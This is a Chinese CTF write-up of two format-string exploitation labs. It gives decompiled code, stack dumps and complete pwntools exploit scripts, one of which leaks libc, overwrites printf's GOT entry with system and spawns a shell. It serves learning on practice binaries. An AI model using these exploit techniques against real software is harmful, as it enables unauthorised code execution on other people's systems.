Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
root@34c8834f:/ctf/work/lab8# ./craxme
Please crax me !
Give me magic :aaaa%x
aaaaffe8ac5c
�����You need be a phd

ida反编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+Ch] [ebp-10Ch]
unsigned int v5; // [esp+10Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
setvbuf(_bss_start, 0, 2, 0);
puts("Please crax me !");
printf("Give me magic :");
read(0, &buf, 0x100u);
printf(&buf);//<- bug here
if ( magic == 0xDA )
{
system("cat /home/craxme/flag");
}
else if ( magic == 0xFACEB00C )
{
system("cat /home/craxme/craxflag");
}
else
{
puts("You need be a phd");
}
return 0;
}

也是一个格式化字符串的题目。读入buf后直接通过printf打印。

这好像有两个分支都是对的?不懂作者啥意思,跟上一题没啥区别,直接用pwntools的fmtstr_payload搞定。

writeup

首先测试一下偏移,可以得到偏移为7.

1
2
3
4
5
root@34c8834f:/ctf/work/lab8# ./craxme
Please crax me !
Give me magic :aaaa.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X
aaaa.FF8C240C.100.0.F7D41438.93C.F7D41CC8.61616161.2E58252E.252E5825.58252E58.2E58252E
=�҂q���$��d$������You need be a phd

利用fmtstr_payload构造exp,加个选项对两种不同情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
import sys

p = process("./craxme")

elf = ELF("./craxme")

magic_addr = elf.sym["magic"]
args = sys.argv[1]
if args=='0':
payload = fmtstr_payload(7,{magic_addr:0xda})
else:
payload = fmtstr_payload(7,{magic_addr:0xFACEB00C})
p.sendlineafter("Give me magic :",payload)
p.interactive()

搞定。

lab9

这是一道格式化字符串漏洞的进阶题目,相比前面直接的利用难一点,参考了好多资料才理清楚流程。题目基本信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@34c8834f:/ctf/work/lab9# file ./playfmt
./playfmt: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=157fb5ec4301a1a1bddebb3c0f79c17305c57693, not stripped
root@34c8834f:/ctf/work/lab9# checksec ./playfmt
[*] '/ctf/work/lab9/playfmt'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
root@34c8834f:/ctf/work/lab9# ./playfmt
=====================
Magic echo Server
=====================
aaaa.%X
aaaa.8048640
aaaa.%X.%X
aaaa.8048640.4
^C

也是一个格式化字符串程序,ida反编译。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
return play();
}
//主要代码在play函数->
int play()
{
puts("=====================");
puts(" Magic echo Server");
puts("=====================");
return do_fmt();
}
//play又调用了do_fmt()函数->
int do_fmt()
{
int result; // eax

while ( 1 )
{
read(0, buf, 0xC8u);
result = strncmp(buf, "quit", 4u);
if ( !result )
break;
printf(buf);
}
return result;
}

是一个无限读取buff然后printf打印的过程,遇到quit停止。与前面题目不同的是,这个buf不再是栈上的了,而是位于bss段。

1
2
3
4
5
6
.bss:0804A060                 public buf
.bss:0804A060 ; char buf[200]
.bss:0804A060 buf db 0C8h dup(?) ; DATA XREF: do_fmt+E↑o
.bss:0804A060 ; do_fmt+27↑o ...
.bss:0804A060 _bss ends
.bss:0804A060

非栈上buff的格式化字符串漏洞

这是格式化字符串的变体,这种题目必定是多次漏洞的形式,因为单次本身就无法实现利用。下面是查找到的一段关于此类题目的说明。

1
2
3
4
出题人把格式化串放到堆或是bss段中,不能和原来的一样那样去读取格式化字符串串中的目标地址,不在栈中你是不可能读到的。对于这种题目的做法就是要进行两次漏洞利用,第一次将当前题目变成常规题目样式。第二次就成了常规格式化字符串题目。
具体指的是:
第一次:在栈中找一个指向栈里面的指针(这种指针肯定会有,因为堆栈框架就是这样的),往其写入第二次要写入的地址。
第二次:常规格式化字符串exp操作

具体针对这题的话,因为不和前面一样只是单纯的修改变量,而是需要实现完整的利用,所以思路是

  • 利用格式化字符串漏洞泄露libc地址得到system地址
  • 写got表劫持printf函数到system
  • buf传入”/bin/sh”得到shell

首先用gdb调试下,在call printf处下断,看一下栈内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Breakpoint *0x0804853B
pwndbg> stack 20
00:0000│ esp 0xffa1c750 —▸ 0x804a060 (buf) ◂— 'aaaaaaaaaaaaaaaaa\n'
01:0004│ 0xffa1c754 —▸ 0x8048640 ◂— jno 0x80486b7 /* 'quit' */
02:0008│ 0xffa1c758 ◂— 0x4
03:000c│ 0xffa1c75c —▸ 0x804857c (play+51) ◂— add esp, 0x10
04:0010│ 0xffa1c760 —▸ 0x8048645 ◂— cmp eax, 0x3d3d3d3d /* '=====================' */
05:0014│ 0xffa1c764 ◂— 0x0
06:0018│ ebp 0xffa1c768 —▸ 0xffa1c778 —▸ 0xffa1c788 ◂— 0x0
07:001c│ 0xffa1c76c —▸ 0x8048584 (play+59) ◂— nop
08:0020│ 0xffa1c770 —▸ 0xf7fc0d80 (_IO_2_1_stdout_) ◂— 0xfbad2887
09:0024│ 0xffa1c774 ◂— 0x0
0a:0028│ 0xffa1c778 —▸ 0xffa1c788 ◂— 0x0
0b:002c│ 0xffa1c77c —▸ 0x80485b1 (main+42) ◂— nop
0c:0030│ 0xffa1c780 —▸ 0xf7fe39b0 (_dl_fini) ◂— push ebp
0d:0034│ 0xffa1c784 —▸ 0xffa1c7a0 ◂— 0x1
0e:0038│ 0xffa1c788 ◂— 0x0
0f:003c│ 0xffa1c78c —▸ 0xf7e00e81 (__libc_start_main+241) ◂— add esp,
0x10
10:0040│ 0xffa1c790 —▸ 0xf7fc0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
... ↓
12:0048│ 0xffa1c798 ◂— 0x0
13:004c│ 0xffa1c79c —▸ 0xf7e00e81 (__libc_start_main+241) ◂— add esp,
0x10

注意到,栈上存放了__libc_start_main地址,可以用来计算libc地址,同时由于涉及到利用栈上变量当跳板,需要泄露出esp值,第一次payload就是

1
2
3
4
5
6
7
8
9
10
11
12
payload = "%6$p.%15$p"
input()
p.sendlineafter(" Magic echo Server\n=====================\n",payload)
p.recvuntil('0x')
esp_addr=int(p.recv(8),16)-0x28
p.recvuntil('0x')
libc_main_addr=int(p.recv(8),16)-241
obj = LibcSearcher("__libc_start_main", libc_main_addr)
libc_addr = libc_main_addr - obj.dump("__libc_start_main")
system_addr = libc_addr + obj.dump("system")
success("esp addr:{:#x} ".format(esp_addr))
success("system addr:{:#x} ".format(system_addr))

这样就可以得到此时esp值和lib_start_main地址(减去偏移241就得到了),进一步得到libc地址与system地址。

这一步执行完后查看栈布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
pwndbg> stack 60
00:0000│ esp 0xffe64450 —▸ 0x804a060 (buf) ◂— 'bbbb\n%15$p\n'
01:0004│ 0xffe64454 —▸ 0x8048640 ◂— jno 0x80486b7 /* 'quit' */
02:0008│ 0xffe64458 ◂— 0x4
03:000c│ 0xffe6445c —▸ 0x804857c (play+51) ◂— add esp, 0x10
04:0010│ 0xffe64460 —▸ 0x8048645 ◂— cmp eax, 0x3d3d3d3d /* '=====================' */
05:0014│ 0xffe64464 ◂— 0x0
06:0018│ ebp 0xffe64468 —▸ 0xffe64478 —▸ 0xffe64488 ◂— 0x0
07:001c│ 0xffe6446c —▸ 0x8048584 (play+59) ◂— nop
08:0020│ 0xffe64470 —▸ 0xf7ec7d80 (_IO_2_1_stdout_) ◂— 0xfbad2887
09:0024│ 0xffe64474 ◂— 0x0
0a:0028│ 0xffe64478 —▸ 0xffe64488 ◂— 0x0
0b:002c│ 0xffe6447c —▸ 0x80485b1 (main+42) ◂— nop
0c:0030│ 0xffe64480 —▸ 0xf7eea9b0 (_dl_fini) ◂— push ebp
0d:0034│ 0xffe64484 —▸ 0xffe644a0 ◂— 0x1
0e:0038│ 0xffe64488 ◂— 0x0
0f:003c│ 0xffe6448c —▸ 0xf7d07e81 (__libc_start_main+241) ◂— add esp,
0x10
10:0040│ 0xffe64490 —▸ 0xf7ec7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
... ↓
12:0048│ 0xffe64498 ◂— 0x0
13:004c│ 0xffe6449c —▸ 0xf7d07e81 (__libc_start_main+241) ◂— add esp,
0x10
14:0050│ 0xffe644a0 ◂— 0x1
15:0054│ 0xffe644a4 —▸ 0xffe64534 —▸ 0xffe648b9 ◂— './playfmt'
16:0058│ 0xffe644a8 —▸ 0xffe6453c —▸ 0xffe648c3 ◂— 'LC_ALL=en_US.UTF-8'
17:005c│ 0xffe644ac —▸ 0xffe644c4 ◂— 0x0
18:0060│ 0xffe644b0 ◂— 0x1
19:0064│ 0xffe644b4 ◂— 0x0
1a:0068│ 0xffe644b8 —▸ 0xf7ec7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
1b:006c│ 0xffe644bc —▸ 0xf7eea75a (call_init.part+26) ◂— add edi, 0x178a6
1c:0070│ 0xffe644c0 —▸ 0xf7f02000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x26f34
1d:0074│ 0xffe644c4 ◂— 0x0
1e:0078│ 0xffe644c8 —▸ 0xf7ec7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
1f:007c│ 0xffe644cc ◂— 0x0
... ↓
21:0084│ 0xffe644d4 ◂— 0xc785620b
22:0088│ 0xffe644d8 ◂— 0xabf0a41b
23:008c│ 0xffe644dc ◂— 0x0
... ↓
26:0098│ 0xffe644e8 ◂— 0x1
27:009c│ 0xffe644ec —▸ 0x8048400 (_start) ◂— xor ebp, ebp
28:00a0│ 0xffe644f0 ◂— 0x0
29:00a4│ 0xffe644f4 —▸ 0xf7eefe20 (_dl_runtime_resolve+16) ◂— pop edx
2a:00a8│ 0xffe644f8 —▸ 0xf7eea9b0 (_dl_fini) ◂— push ebp
2b:00ac│ 0xffe644fc —▸ 0xf7f02000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x26f34
2c:00b0│ 0xffe64500 ◂— 0x1
2d:00b4│ 0xffe64504 —▸ 0x8048400 (_start) ◂— xor ebp, ebp
2e:00b8│ 0xffe64508 ◂— 0x0
2f:00bc│ 0xffe6450c —▸ 0x8048421 (_start+33) ◂— hlt
30:00c0│ 0xffe64510 —▸ 0x8048587 (main) ◂— lea ecx, [esp + 4]
31:00c4│ 0xffe64514 ◂— 0x1
32:00c8│ 0xffe64518 —▸ 0xffe64534 —▸ 0xffe648b9 ◂— './playfmt'
33:00cc│ 0xffe6451c —▸ 0x80485c0 (__libc_csu_init) ◂— push ebp
34:00d0│ 0xffe64520 —▸ 0x8048620 (__libc_csu_fini) ◂— ret
35:00d4│ 0xffe64524 —▸ 0xf7eea9b0 (_dl_fini) ◂— push ebp
36:00d8│ 0xffe64528 —▸ 0xffe6452c —▸ 0xf7f02940 ◂— 0x0
37:00dc│ 0xffe6452c —▸ 0xf7f02940 ◂— 0x0
38:00e0│ 0xffe64530 ◂— 0x1
39:00e4│ 0xffe64534 —▸ 0xffe648b9 ◂— './playfmt'
3a:00e8│ 0xffe64538 ◂— 0x0
3b:00ec│ 0xffe6453c —▸ 0xffe648c3 ◂— 'LC_ALL=en_US.UTF-8'

理一下思路,目前我们已经知道了system地址,只需要将其写入printf的got表,其地址为0804A010,就齐活了->但是栈上并没有printf_got地址,所以我们需要做的是将printf_got地址写入栈上某个位置->需要找到栈上存放了栈地址的内存位置,利用格式化字符串漏洞写入。

1
2
3
4
5
6
7
8
9
.got.plt:0804A008 dword_804A008   dd 0                    ; DATA XREF: sub_8048380+6↑r
.got.plt:0804A00C off_804A00C dd offset read ; DATA XREF: _read↑r
.got.plt:0804A010 off_804A010 dd offset printf ; DATA XREF: _printf↑r
.got.plt:0804A014 off_804A014 dd offset puts ; DATA XREF: _puts↑r
.got.plt:0804A018 off_804A018 dd offset __libc_start_main
.got.plt:0804A018 ; DATA XREF: ___libc_start_main↑r
.got.plt:0804A01C off_804A01C dd offset setvbuf ; DATA XREF: _setvbuf↑r
.got.plt:0804A020 off_804A020 dd offset strncmp ; DATA XREF: _strncmp↑r
.got.plt:0804A020 _got_plt ends

我们的需求结合调试的栈上情况分析如下:

  • 需要存放了栈上地址的栈地址作为跳板,形象地说就是:栈地址->栈地址->栈地址(这个之所以选择栈地址的目的就是为了尽量减少需要修改的字节数量,毕竟数量一多格式化字符串前面的%{n}c就越大,也就越慢了,甚至解不出来)
    • 可以选择0x15 0x16
      • 0x15->0x39->栈地址
      • 0x16->0x3b->栈地址
1
2
15:0054│      0xffe644a4 —▸ 0xffe64534 —▸ 0xffe648b9 ◂— './playfmt'
16:0058│ 0xffe644a8 —▸ 0xffe6453c —▸ 0xffe648c3 ◂— 'LC_ALL=en_US.UTF-8'
  • 需要存放0x0804xxxx的栈地址,这样的目的是got表也是0x0804xxxx,这样可以只用修改低2字节。下面是所选的两个,当然,其他的也是可以的,不唯一。
1
2
07:001c│      0xffe6446c —▸ 0x8048584 (play+59) ◂— nop
0b:002c│ 0xffe6447c —▸ 0x80485b1 (main+42) ◂— nop

接下来就是利用漏洞进行挨个推算,步骤如下。

  • 0x15存放的0x39处地址,在此处利用漏洞(%21$hn)将0x39处值修改为0x7地址
  • 0x16存放的0x3b处地址,在此处利用漏洞(%22$hn)将0x3b处值修改为0xb地址
  • 此时0x39存放的0x7地址,0x3b存放的0xb地址
  • 在0x39处利用漏洞(%57$hn)利用漏洞将0x7处存放的值改为printf_got地址
  • 在0x3b处利用漏洞(%59$hn)利用漏洞将0xb处存放的值改为printf_got+2地址
  • 至此已经将printf_got以及printf_got+2地址放入了栈上0x7和0xb处。
  • 利用漏洞将printf_got和printf_got+2两个地址处的双字节修改为system高双字节和低双字节地址
  • 最后传入”/bin/sh”,在程序调用printf时便实现劫持得到shell

writeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from LibcSearcher import *

def hhn(addr,offset):
return "%{addr}c%{offset}$hhn".format(addr=addr,offset=offset)

def hn(addr,offset):
return "%{addr}c%{offset}$hn".format(addr=addr,offset=offset)

p = process("./playfmt")
elf = ELF("./playfmt")

#step1 leak esp and libc
payload = "%6$p.%15$pstep1\x00"
input()
p.sendlineafter(" Magic echo Server\n=====================\n",payload)
p.recvuntil('0x')
esp_addr=int(p.recv(8),16)-0x28
p.recvuntil('0x')
libc_main_addr=int(p.recv(8),16)-241
obj = LibcSearcher("__libc_start_main", libc_main_addr)
libc_addr = libc_main_addr - obj.dump("__libc_start_main")
system_addr = libc_addr + obj.dump("system")
success("esp addr:{:#x} ".format(esp_addr))
success("system addr:{:#x} ".format(system_addr))

# step2 change 0x39 and 0x3b with 0x15 0x16
payload = hn((esp_addr+0x1c)&0xffff,0x15)
payload += hn(((esp_addr+0x2c)&0xffff-(esp_addr+0x1c)&0xffff)%0xffff,0x16)
payload += 'step2\x00'
p.sendlineafter("step1",payload)

#step3 change 0x7 0xb with 0x39 0x3b
payload = hn((elf.got['printf'])&0xffff,0x39)
payload += hn(2,0x3b)
payload += 'step3\x00'
p.sendlineafter('step2',payload)

#step4 change got with 0x7 0xb
payload = hhn(system_addr >> 16 & 0xff,0xb)
payload += hn((system_addr&0xffff) - (system_addr >> 16 & 0xff),0x7)
payload += 'step4\x00'
p.sendlineafter('step3',payload)

#step5 send /bin/sh
p.sendlineafter('step4','/bin/sh\x00')

p.interactive()

这题比较难,参考了好多题解做了梳理。

参考链接:链接1,链接2

lab10

lab11

lab11 - 1

lab11 - 2

lab12

lab13

lab14

lab15